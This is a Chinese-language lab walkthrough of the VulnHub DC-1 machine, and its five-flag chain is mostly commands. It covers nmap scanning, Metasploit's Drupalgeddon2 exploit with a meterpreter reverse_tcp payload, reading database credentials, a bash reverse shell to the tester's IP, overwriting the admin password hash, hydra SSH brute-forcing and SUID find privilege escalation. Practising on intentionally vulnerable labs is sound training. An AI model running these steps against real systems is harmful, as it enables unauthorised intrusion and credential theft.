vulnhubDC-1渗透记录

DC下载地址:

https://www.vulnhub.com/timeline/

DC Challenges

下载后在VMware打开并设置为NAT即可。

渗透目的为获取5个flag。

渗透过程:

首先,找出靶机的ip地址,使用nmap扫描同网段

nmap -sP -sV 192.168.220.0/24
  -sP:Ping 扫描
  -sV:版本信息

确认192.168.220.153为目标ip,使用nmap进行详细扫描

nmap -A -sV -p 1-1000 192.168.220.153
  -A:全面扫描

1,可以看到22端口的ssh,可联想hrdra爆破。

2,百度搜索Drugpal 7漏洞,可以找到Drupal Drupalgeddon 2,远程代码执行漏洞(CVE-2018-7600)。


使用matesploit,使用search Drupal 7命令查找模块,使用渗透模块模块:

#msfconsole
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 > info

使用info命令,查看需要填写的信息和漏洞利用信息:

msf6 > set payload php/meterpreter/reverse_tcp
msf6 > show optipns
msf6 > set RHOSTS 192.168.220.153
msf6 > set LHOST 192.168.220.149
msf6 > run

获取到会话:

meterpreter > ls
meterpreter > cat flag1.txt

flag1中线索指向配置文件,配置文件并非web.config

Drupal 配置文件路径为 /sites/default/settings.php

使用cat命令查看setting.php文件:

得到flag2的信息和数据库的用户名和密码。

flag2提示可以爆破攻击和目录攻击。

得到数据库配置,尝试访问数据库:


使用shell命令,连接shell:

netstat -anptl  //查看端口开放
  -l 仅列出有在 Listen (监听) 的服务状态
  -a (all)列出所有端口
  -t (tcp)仅显示tcp相关选项
  -p 显示建立相关链接的程序名
  -n 拒绝显示别名,能显示数字的全部转化成数字。

3306,开启,但只接受127.0.0.1访问

我们使用命令尝试连接数据库:

mysql -udbuser -pR0ck3t

无法连接,我们需要建立长久连接,尝试使用反弹shell连接

本机先开启端口监听,使用shell连接本机端口:

#本机
nc -lvvp 1234
#shell
bash -i >& /etc/tcp/192.168.220.149/1234 0>&1

发现无法连接:

利用python反弹shell:

python -c 'import pty;pty.spawn("/bin/bash")'
  python -c 即python conmmond 运行python代码,引入pty,调用bash

发现反弹成功:

此时使用上面的 bash -i >& /etc/tcp/192.168.220.149/1234 0>&1 也可以反弹成功

使用mysql -u -p进入数据库查看信息:

show databases;
use drupaldb;
show tables;
select * from users;

显示出user表中信息:

发现admin,但密码着实看不懂。

只能使用已知的密码代替原密码,具体看这篇 忘记Drupal的管理员密码的解决办法 | Drupal China

    在windows下,打开命令行客户端(cmd),切换到Drupal7项目所在的目录,敲入以下命令:

  • php scripts/password-hash.sh admin
  • 输出:
  • password: admin                 hash: $S$DMtruNEVmqWoqhlPwTlnFzwyBRFgQwXUfppe9pW1RqqXlMy97tzA
  • 然后到数据库中,查users表,找到对应的用户名,修改密码,将上述的hash值复制到密码字段,保存即可。

使用mysql命令替换掉原本users表中admin用户的pass字段:

updata users set pass="$S$DdNWkiKVh1peF/XYvcLiUBpu6Up7pZCHGO4MIr2hKUSWGVRF7y55" where uid=1;
  将密码换成admin

如输错5次密码,ip会被限制访问,可在数据库使用truncate flood;命令。

修改成功,即可访问80端口

在上边的dashboard中即可看到flag3


在flag3中,提示我们查看passwd,和使用FIND的exec执行,暗示SUID提权

首先查看一下/etc/passwd

cat /etc/passwd

发现flag4,可以登录,使用hydra进行ssh爆破:

hydra -l flag4 -P /usr/share/john/password.lst 192.168.220.153 ssh -vV -f 
  -l:指定一个用户名
  -P:指定一个密码字典
  -vV:显示爆破细节
  -f:爆破到正确密码就停止爆破

得出flag4密码为orange,使用ssh登录flag4

ssh flag4@192.168.220.153
orange

flag4提示进入root文件下,但权限不够需要进行提权,结合flag3,即SUID提权


SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行;那么运行这些拥有SUID权限,去运行bash,那么在运行过程中,bash也拥有文件的SUID权限,即实现了提权。
find / -perm -u=s -type f 2>/dev/null
  -perm : 表示搜索随后的权限
  -u=s : 权限为suid
  -type f : 文件类型为普通文件
  2 > /dev/null : 将标准错误丢弃

我们新建一个文件,用find进行SUID提权

touch 2
find 2 -exec "/bin/sh" \;
  结尾需要;来表示exec参数的结束,\为转义

直接进入root文件夹查看最后的flag。

One Comment

  1. 鸽鸽tql

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用*标注